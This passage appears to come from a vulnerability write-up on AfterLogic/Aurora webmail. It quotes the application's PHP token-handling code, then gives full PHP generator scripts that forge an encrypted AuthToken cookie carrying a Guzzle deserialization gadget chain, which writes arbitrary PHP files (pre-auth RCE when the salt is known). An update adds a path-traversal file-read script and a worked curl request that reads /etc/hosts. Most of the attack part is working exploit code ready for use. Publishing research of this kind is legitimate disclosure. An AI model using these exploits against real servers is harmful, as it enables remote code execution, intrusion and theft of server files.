                $mUserId = self::$aUserSession['UserId'];
            }
            else
            {
                $sAuthToken = empty($sAuthToken) ? self::getAuthToken() : $sAuthToken;
                $mUserId = self::getAuthenticatedUserId($sAuthToken);
            }
            $oUser = Managers\Integrator::getInstance()->getAuthenticatedUserByIdHelper($mUserId);
        }
        catch (\Exception $oException) {}
        return $oUser;
    }

    ...

    public static function getAuthToken()
    {
        $sAuthToken = self::getAuthTokenFromHeaders();
        if (!$sAuthToken)
        {
            $sAuthToken = isset($_COOKIE[Application::AUTH_TOKEN_KEY]) ?
                    $_COOKIE[Application::AUTH_TOKEN_KEY] : '';
        }

        return $sAuthToken;
    }

    ...

    public static function getAuthenticatedUserId($sAuthToken = '')
    {
        $mResult = false;
        if (!empty($sAuthToken))
        {
            if (!empty(self::$aUserSession['UserId']) && self::getAuthenticatedUserAuthToken() === $sAuthToken)
            {
                $mResult = (int) self::$aUserSession['UserId'];
            }
            else
            {
                $aInfo = \Aurora\System\Managers\Integrator::getInstance()->getAuthenticatedUserInfo($sAuthToken);
                $mResult = $aInfo['userId'];
                self::$aUserSession['UserId'] = (int) $mResult;
                self::$aUserSession['AuthToken'] = $sAuthToken;
            }
        }
        else
        {
            if (is_array(self::$aUserSession) && isset(self::$aUserSession['UserId']))
            {
                $mResult = self::$aUserSession['UserId'];
            }
            else
            {
                $mResult = 0;
            }
        }

        return $mResult;
    }

    ...

    public static function DecodeKeyValues($sEncodedValues)
    {
        $aResult = @\unserialize(
            Utils\Crypt::XxteaDecrypt(
            Utils::UrlSafeBase64Decode($sEncodedValues), \md5(self::$sSalt))
        );

        return \is_array($aResult) ? $aResult : array();
    }

    ...

}

File: system/Module/Manager.php

<?php

...

class Manager
{

    ...

    public function loadModules()
    {
        $oCoreModule = $this->loadModule('Core');

        if ($oCoreModule instanceof AbstractModule)
        {
            $oUser = \Aurora\System\Api::authorise();
            $oTenant = null;
            if ($oUser instanceof \Aurora\Modules\Core\Classes\User && $oUser->Role !== \Aurora\System\Enums\UserRole::SuperAdmin)
            {
                $oTenant = \Aurora\Modules\Core\Module::Decorator()->GetTenantUnchecked($oUser->IdTenant);
            }
            foreach ($this->GetModulesPaths() as $sModuleName => $sModulePath)
            {
                $bIsModuleDisabledForTenant = \Aurora\Modules\Core\Module::Decorator()->IsModuleDisabledForObject($oTenant, $sModuleName);
                $bIsModuleDisabledForUser = \Aurora\Modules\Core\Module::Decorator()->IsModuleDisabledForObject($oUser, $sModuleName);
                $bModuleIsDisabled = $this->getModuleConfigValue($sModuleName, 'Disabled', false);
                if (!($bIsModuleDisabledForUser || $bIsModuleDisabledForTenant) && !$bModuleIsDisabled)
                {
                    $oLoadedModule = $this->loadModule($sModuleName, $sModulePath);
                    $bClientModule = $this->isClientModule($sModuleName);
                    if ($oLoadedModule instanceof AbstractModule || $bClientModule)
                    {
                        $this->_aAllowedModulesName[\strtolower($sModuleName)] = $sModuleName;
                    }
                    else
                    {
//						\Aurora\System\Api::Log('Module ' . $sModuleName . ' is not allowed. $bModuleLoaded = ' . $oLoadedModule . '. $bClientModule = ' . $bClientModule . '.');
                    }
                }
                else
                {
//					\Aurora\System\Api::Log('Module ' . $sModuleName . ' is not allowed. $bIsModuleDisabledForUser = ' . $bIsModuleDisabledForUser . '. $bModuleIsDisabled = ' . $bModuleIsDisabled . '.');
                }
            }
        }
        else
        {
            echo "Can't load 'Core' Module";
        }
    }

    ...

}

File: system/Managers/Integrator.php


...

class Integrator extends AbstractManager
{

    ...

    public function getAuthenticatedUserInfo($sAuthToken = '')
    {
        $aInfo = array(
            'isAdmin' => false,
            'userId' => 0,
            'accountType' => 0
        );
        $aAccountHashTable = \Aurora\System\Api::UserSession()->Get($sAuthToken);
        if (is_array($aAccountHashTable) && isset($aAccountHashTable['token']) &&
            'auth' === $aAccountHashTable['token'] && 0 < strlen($aAccountHashTable['id'])) {

            $oUser = $this->GetUser((int) $aAccountHashTable['id']);
            if ($oUser instanceof \Aurora\Modules\Core\Classes\User)
            {
                $aInfo = array(
                    'isAdmin' => false,
                    'userId' => (int) $aAccountHashTable['id'],
                    'account' => isset($aAccountHashTable['account']) ? $aAccountHashTable['account'] : 0,
                    'accountType' => isset($aAccountHashTable['account_type']) ? $aAccountHashTable['account_type'] : 0,
                );
            }
        }
        elseif (is_array($aAccountHashTable) && isset($aAccountHashTable['token']) &&
            'admin' === $aAccountHashTable['token'])
        {
            $aInfo = array(
                'isAdmin' => true,
                'userId' => -1,
                'accountType' => 0
            );
        }
        return $aInfo;
    }

    ...

}

File: system/UserSession.php

<?php

...

class UserSession
{

    ...

    public function Get($sAuthToken)
    {
        $mResult = false;

        if (strlen($sAuthToken) !== 0)
        {
            $bStoreAuthTokenInDB = \Aurora\Api::GetSettings()->GetValue('StoreAuthTokenInDB', false);
            if ($bStoreAuthTokenInDB && !$this->GetFromDB($sAuthToken))
            {
                return false;
            }

            $mResult = Api::DecodeKeyValues($sAuthToken);

            if ($mResult !== false && isset($mResult['id']))
            {
                if ((isset($mResult['@ver']) && $mResult['@ver'] !== self::TOKEN_VERSION) || !isset($mResult['@ver']))
                {
                    $mResult = false;
                }
                else
                {
                    $iExpireTime = (int) isset($mResult['@expire']) ? $mResult['@expire'] : 0;
                    if ($iExpireTime > 0 && $iExpireTime < time())
                    {
                        $mResult = false;
                    }
                    else
                    {
                        $oUser = \Aurora\System\Managers\Integrator::getInstance()->getAuthenticatedUserByIdHelper($mResult['id']);
                        $iTime = (int) $mResult['@time']; // 0 means that signMe was true when user logged in, so there is no need to check it in that case
                        if ($oUser && $iTime !== 0 && (int) $oUser->TokensValidFromTimestamp > $iTime)
                        {
                            $mResult = false;
                        }
                        else if ((isset($mResult['sign-me']) && !((bool) $mResult['sign-me'])) || (!isset($mResult['sign-me'])))
                        {
                            $iTime = 0;
                            if (isset($mResult['@time']))
                            {
                                $iTime = (int) $mResult['@time'];
                            }
                            $iExpireUserSessionsBeforeTimestamp = \Aurora\System\Api::GetSettings()->GetConf("ExpireUserSessionsBeforeTimestamp", 0);
                            if ($iExpireUserSessionsBeforeTimestamp > $iTime && $iTime > 0)
                            {
                                \Aurora\System\Api::Log('User session expired: ');
                                \Aurora\System\Api::LogObject($mResult);
                                $mResult = false;
                            }
                        }
                    }
                }
            }
            if ($mResult === false)
            {
                $this->Delete($sAuthToken);
            }
        }

        return $mResult;
    }

    ...

}

How?

Assuming the contents of file data/salt8.php is known, we can use the following scripts to generate $_COOKIE['AuthToken'] which, once deserialized, will allow us to write arbitrary files with arbitrary content thanks to a gadget chain in Guzzle.

Version 8

File: gen_payloads_v8.php

<?php

function UrlSafeBase64Encode($sValue) {
    return \rtrim(\strtr(\base64_encode($sValue), '+/', '-_'), '=');
}


function long2str($aV, $aW)
{
    $iLen = count($aV);
    $iN = ($iLen - 1) << 2;
    if ($aW) {
        $iM = $aV[$iLen - 1];
        if (($iM < $iN - 3) || ($iM > $iN)) {
            return false;
        }
        $iN = $iM;
    }
    $aS = array();
    for ($iIndex = 0; $iIndex < $iLen; $iIndex++) {
        $aS[$iIndex] = pack('V', $aV[$iIndex]);
    }
    if ($aW) {
        return substr(join('', $aS), 0, $iN);
    }
    else {
        return join('', $aS);
    }
}


function int32($iN) {
    while ($iN >= 2147483648) {
        $iN -= 4294967296;
    }
    while ($iN <= -2147483649) {
        $iN += 4294967296;
    }
    return (int) $iN;
}


function str2long($sS, $sW) {
    $aV = unpack('V*', $sS . str_repeat("\0", (4 - strlen($sS) % 4) & 3));
    $aV = array_values($aV);
    if ($sW) {
        $aV[count($aV)] = strlen($sS);
    }
    return $aV;
}


function XxteaEncrypt($sString, $sKey) {
    if (empty($sString)) {
        return '';
    }

    $aV = str2long($sString, true);
    $aK = str2long($sKey, false);
    if (count($aK) < 4) {
        for ($iIndex = count($aK); $iIndex < 4; $iIndex++) {
            $aK[$iIndex] = 0;
        }
    }
    $iN = count($aV) - 1;

    $iZ = $aV[$iN];
    $iY = $aV[0];
    $iDelta = 0x9E3779B9;
    $iQ = floor(6 + 52 / ($iN + 1));
    $iSum = 0;
    while (0 < $iQ--) {
        $iSum = int32($iSum + $iDelta);
        $iE = $iSum >> 2 & 3;
        for ($iPIndex = 0; $iPIndex < $iN; $iPIndex++)
        {
            $iY = $aV[$iPIndex + 1];
            $iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
                (($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
            $iZ = $aV[$iPIndex] = int32($aV[$iPIndex] + $iMx);
        }
        $iY = $aV[0];
        $iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
            (($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
        $iZ = $aV[$iN] = int32($aV[$iN] + $iMx);
    }

    return long2str($aV, false);
}


function EncodeKeyValues($aValues) {
    return UrlSafeBase64Encode(XxteaEncrypt($aValues, \md5('$2y$07$' . SALT . '$')));
}


function gen() {
    $payload = "AuthToken=" . EncodeKeyValues(GADGET_CHAIN) . "\n";
    return $payload;
}


define('GADGET_CHAIN', 'a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"' . "\x00". 'GuzzleHttp\Cookie\CookieJar' . "\x00". 'cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"' . "\x00". 'GuzzleHttp\Cookie\SetCookie' . "\x00". 'data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:19:"<?php phpinfo(); ?>";}}}s:39:"' . "\x00". 'GuzzleHttp\Cookie\CookieJar' . "\x00". 'strictMode";N;s:41:"' . "\x00". 'GuzzleHttp\Cookie\FileCookieJar' . "\x00". 'filename";s:9:"./poc.php";s:52:"' . "\x00". 'GuzzleHttp\Cookie\FileCookieJar' . "\x00". 'storeSessionCookies";b:1;}i:7;i:7;}');
define("SALT", $argv[1]);
echo gen();

alt-text

Version 9 (latest)

File: gen_payloads_v9.php

<?php

function Base64Decode($sString)
{
    $sResultString = \base64_decode($sString, true);
    if (false === $sResultString)
    {
        $sString = \str_replace(array(' ', "\r", "\n", "\t"), '', $sString);
        $sString = \preg_replace('/[^a-zA-Z0-9=+\/](.*)$/', '', $sString);

        if (false !== \strpos(\trim(\trim($sString), '='), '='))
        {
            $sString = \preg_replace('/=([^=])/', '= $1', $sString);
            $aStrings = \explode(' ', $sString);
            foreach ($aStrings as $iIndex => $sParts)
            {
                $aStrings[$iIndex] = \base64_decode($sParts);
            }

            $sResultString = \implode('', $aStrings);
        }
        else
        {
            $sResultString = \base64_decode($sString);
        }
    }

    return $sResultString;
}


function UrlSafeBase64Encode($sValue)
{
    return \rtrim(\strtr(\base64_encode($sValue), '+/', '-_'), '=');
}


function str2long($sS, $sW)
{
    $aV = unpack('V*', $sS . str_repeat("\0", (4 - strlen($sS) % 4) & 3));
    $aV = array_values($aV);
    if ($sW) {
        $aV[count($aV)] = strlen($sS);
    }
    return $aV;
}


function int32($iN)
{
    while ($iN >= 2147483648) {
        $iN -= 4294967296;
    }
    while ($iN <= -2147483649) {
        $iN += 4294967296;
    }
    return (int) $iN;
}


function long2str($aV, $aW)
{
    $iLen = count($aV);
    $iN = ($iLen - 1) << 2;
    if ($aW) {
        $iM = $aV[$iLen - 1];
        if (($iM < $iN - 3) || ($iM > $iN)) {
            return false;
        }
        $iN = $iM;
    }
    $aS = array();
    for ($iIndex = 0; $iIndex < $iLen; $iIndex++) {
        $aS[$iIndex] = pack('V', $aV[$iIndex]);
    }
    if ($aW) {
        return substr(join('', $aS), 0, $iN);
    } else {
        return join('', $aS);
    }
}


function XxteaEncrypt($sString, $sKey)
{
    if (empty($sString)) {
        return '';
    }

    $aV = str2long($sString, true);
    $aK = str2long($sKey, false);
    if (count($aK) < 4) {
        for ($iIndex = count($aK); $iIndex < 4; $iIndex++) {
            $aK[$iIndex] = 0;
        }
    }
    $iN = count($aV) - 1;

    $iZ = $aV[$iN];
    $iY = $aV[0];
    $iDelta = 0x9E3779B9;
    $iQ = floor(6 + 52 / ($iN + 1));
    $iSum = 0;
    while (0 < $iQ--) {
        $iSum = int32($iSum + $iDelta);
        $iE = $iSum >> 2 & 3;
        for ($iPIndex = 0; $iPIndex < $iN; $iPIndex++) {
            $iY = $aV[$iPIndex + 1];
            $iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
                (($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
            $iZ = $aV[$iPIndex] = int32($aV[$iPIndex] + $iMx);
        }
        $iY = $aV[0];
        $iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
            (($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
        $iZ = $aV[$iN] = int32($aV[$iN] + $iMx);
    }

    return long2str($aV, false);
}


function EncryptValue($sValue)
{
    $mKey = ctype_xdigit(SALT) ? hex2bin(SALT) : SALT;
    $sEncryptedValue = XxteaEncrypt($sValue, $mKey);
    return @trim(UrlSafeBase64Encode($sEncryptedValue));
}


function EncodeKeyValues($aValues)
{
    return UrlSafeBase64Encode(
        EncryptValue($aValues)
    );
}


function gen() {
    $payload = "AuthToken=" . EncodeKeyValues(GADGET_CHAIN, SALT) . "\n";
    return $payload;
}


define('GADGET_CHAIN', 'a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"' . "\x00". 'GuzzleHttp\Cookie\CookieJar' . "\x00". 'cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"' . "\x00". 'GuzzleHttp\Cookie\SetCookie' . "\x00". 'data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:19:"<?php phpinfo(); ?>";}}}s:39:"' . "\x00". 'GuzzleHttp\Cookie\CookieJar' . "\x00". 'strictMode";N;s:41:"' . "\x00". 'GuzzleHttp\Cookie\FileCookieJar' . "\x00". 'filename";s:9:"./poc.php";s:52:"' . "\x00". 'GuzzleHttp\Cookie\FileCookieJar' . "\x00". 'storeSessionCookies";b:1;}i:7;i:7;}');
define("SALT", $argv[1]);
echo gen();

alt-text

So we’ve just demonstrated that it’s possible to have a pre-auth RCE if we know the contents of file data/salt8.php. But as I said in the introduction, I currently have no way of obtaining the contents of this file for versions 8 and 9, unless if you know the date (down to the microsecond) of installation of the application.

However, for versions <= 7, it is possible to obtain the contents of the equivalent file data/salt.php using CVE-2021-26294.


UPDATE 2023-07-29:

AfterLogic <= 7, Arbitrary File Read (post-auth)

During my audit (during the Black Box part), I was able to find an authenticated Arbitrary File Read:

alt-text

alt-text

Here’s the script for generating part of the URL:

File: file_read.php

<?php

function UrlSafeBase64Encode($sValue) {
    return str_replace(array('+', '/', '='), array('-', '_', '.'), base64_encode($sValue));
}


function long2str($aV, $aW) {
    $iLen = count($aV);
    $iN = ($iLen - 1) << 2;
    if ($aW) {
        $iM = $aV[$iLen - 1];
        if (($iM < $iN - 3) || ($iM > $iN)) {
            return false;
        }
        $iN = $iM;
    }
    $aS = array();
    for ($iIndex = 0; $iIndex < $iLen; $iIndex++) {
        $aS[$iIndex] = pack('V', $aV[$iIndex]);
    }
    if ($aW) {
        return substr(join('', $aS), 0, $iN);
    }
    else {
        return join('', $aS);
    }
}


function int32($iN) {
    while ($iN >= 2147483648) {
        $iN -= 4294967296;
    }
    while ($iN <= -2147483649) {
        $iN += 4294967296;
    }
    return (int) $iN;
}


function str2long($sS, $sW) {
    $aV = unpack('V*', $sS . str_repeat("\0", (4 - strlen($sS) % 4) & 3));
    $aV = array_values($aV);
    if ($sW) {
        $aV[count($aV)] = strlen($sS);
    }
    return $aV;
}


function XxteaEncrypt($sString, $sKey) {
    if (empty($sString)) {
        return '';
    }

    $aV = str2long($sString, true);
    $aK = str2long($sKey, false);
    if (count($aK) < 4) {
        for ($iIndex = count($aK); $iIndex < 4; $iIndex++) {
            $aK[$iIndex] = 0;
        }
    }
    $iN = count($aV) - 1;

    $iZ = $aV[$iN];
    $iY = $aV[0];
    $iDelta = 0x9E3779B9;
    $iQ = floor(6 + 52 / ($iN + 1));
    $iSum = 0;
    while (0 < $iQ--) {
        $iSum = int32($iSum + $iDelta);
        $iE = $iSum >> 2 & 3;
        for ($iPIndex = 0; $iPIndex < $iN; $iPIndex++)
        {
            $iY = $aV[$iPIndex + 1];
            $iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
                (($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
            $iZ = $aV[$iPIndex] = int32($aV[$iPIndex] + $iMx);
        }
        $iY = $aV[0];
        $iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
            (($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
        $iZ = $aV[$iN] = int32($aV[$iN] + $iMx);
    }

    return long2str($aV, false);
}


function EncodeKeyValues($aValues, $iSaltLen = 32) {
    return UrlSafeBase64Encode(XxteaEncrypt($aValues, substr(md5(SALT), 0, $iSaltLen)));
}


function gen_url() {
    $payload = EncodeKeyValues(ORIGINAL_PAYLOAD) . "\n";
    return $payload;
}


if ($argv[1] == "gen_data") {
    $token = array(
        "Type" => "personal",
        "Path" => "....//....//....//....//....//....//....//....//....//" . dirname($argv[3]),
        "Name" => basename($argv[3]),
        "MimeType" => "text/plain",
    );
    define("SALT", $argv[2]);
    define('ORIGINAL_PAYLOAD', serialize($token));
    echo gen_url();
}

Example:

First generate part of the URL:

$ php file_read.php gen_data \$2y\$07\$0bd2459d55463635ccd716fb5b478291\$ /etc/hosts
57s2rIBoSHy9-VtEQUSfwFTOzRiyVDYvOtNT2jkVzSbPzynXqPyVUpfxp-1l5eid91di9yslDA8fnuBL2Dwfx9xA45XSs-NBAk8cVZ_IiViu05jWIzqqDuJlILkGou01TwpAIesF8I2-vv00rzmsVBW2hp_WjwKox1t63nYWl5n4UDhqzMi1lI7hQaHkZPQPBOufu-2mcSBh5Wr12AxJR1j9miHnO0-eXa7Fww..

Then all you have to do is use the generate string in the following URL:

  • http://127.0.0.1/Projects/webmail-pro-php-7/?/Raw/FilesDownload/0/<GENERATED_STRING>/0/

Which gives us in our example:

  • http://127.0.0.1/Projects/webmail-pro-php-7/?/Raw/FilesDownload/0/57s2rIBoSHy9-VtEQUSfwFTOzRiyVDYvOtNT2jkVzSbPzynXqPyVUpfxp-1l5eid91di9yslDA8fnuBL2Dwfx9xA45XSs-NBAk8cVZ_IiViu05jWIzqqDuJlILkGou01TwpAIesF8I2-vv00rzmsVBW2hp_WjwKox1t63nYWl5n4UDhqzMi1lI7hQaHkZPQPBOufu-2mcSBh5Wr12AxJR1j9miHnO0-eXa7Fww../0/
$ curl -X GET -H "Cookie: p7auth=Wlo3HtvkghOnxdbPpAq_DvN2I-Yuz-BBq8U2-j8gHpJF_s6_Fi35HbcZ49Kkon6CrXCMZFXtGHKjjbTltJtpgvqrDhofDVQmvAQ8tTgeZoSrXIDzwMM-uuZwDZJBqWEh0Qy1iueF3VBllZxi9Rb-ovbQBOiuSIiq95f3s8X0mzCbeIcSqJkFhvaAnySVoifaavVFhG0IGDe1MjM99hMbMw.." "http://127.0.0.1/Projects/webmail-pro-php-7/?/Raw/FilesDownload/0/57s2rIBoSHy9-VtEQUSfwFTOzRiyVDYvOtNT2jkVzSbPzynXqPyVUpfxp-1l5eid91di9yslDA8fnuBL2Dwfx9xA45XSs-NBAk8cVZ_IiViu05jWIzqqDuJlILkGou01TwpAIesF8I2-vv00rzmsVBW2hp_WjwKox1t63nYWl5n4UDhqzMi1lI7hQaHkZPQPBOufu-2mcSBh5Wr12AxJR1j9miHnO0-eXa7Fww../0/" 
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
192.168.65.254	host.docker.internal
172.20.0.3	233600ba332c

Thank you for taking the time to read this article.